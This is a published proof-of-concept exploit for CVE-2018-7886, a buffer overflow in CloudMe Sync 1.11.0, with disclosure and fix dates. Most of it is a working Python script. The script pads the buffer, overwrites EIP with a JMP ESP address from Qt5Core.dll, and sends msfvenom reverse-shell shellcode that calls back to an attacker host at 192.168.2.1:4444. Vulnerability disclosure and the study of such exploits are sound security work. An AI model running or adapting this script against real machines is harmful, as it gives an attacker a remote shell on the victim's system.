CloudMe Sync 1.11.0 – Local Buffer Overflow
####################################################### # Exploit Title: Local Buffer Overflow on CloudMe Sync v1.11.0 # Date: 08.03.2018 # Vendor Homepage: https://www.cloudme.com/en # Software Link: https://www.cloudme.com/downloads/CloudMe_1110.exe # Category: Local # Exploit Discovery: Prasenjit Kanti Paul # Web: http://hack2rule.wordpress.com/ # Version: 1.11.0 # Tested on: Windows 7 SP1 x86 # CVE: CVE-2018-7886 # Solution: Update CloudMe Sync to 1.11.2 ####################################################### #Disclosure Date: March 12, 2018 #Response Date: March 14, 2018 #Bug Fixed: April 12, 2018 # Run this file in victim's win 7 sp1 x86 system where CloudMe Sync 1.11.0 has been installed. import socket target="127.0.0.1" junk="A"*1052 eip="\x7B\x8A\xA9\x68" #68a98a7b : JMP ESP - Qt5Core.dll #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.1 LPORT=4444 -f c shellcode=("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" "\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68" "\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x02\x01\x68" "\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" "\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2" "\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6" "\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44" "\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56" "\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff" "\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6" "\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5") payload=junk+eip+shellcode s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target,8888)) s.send(payload) |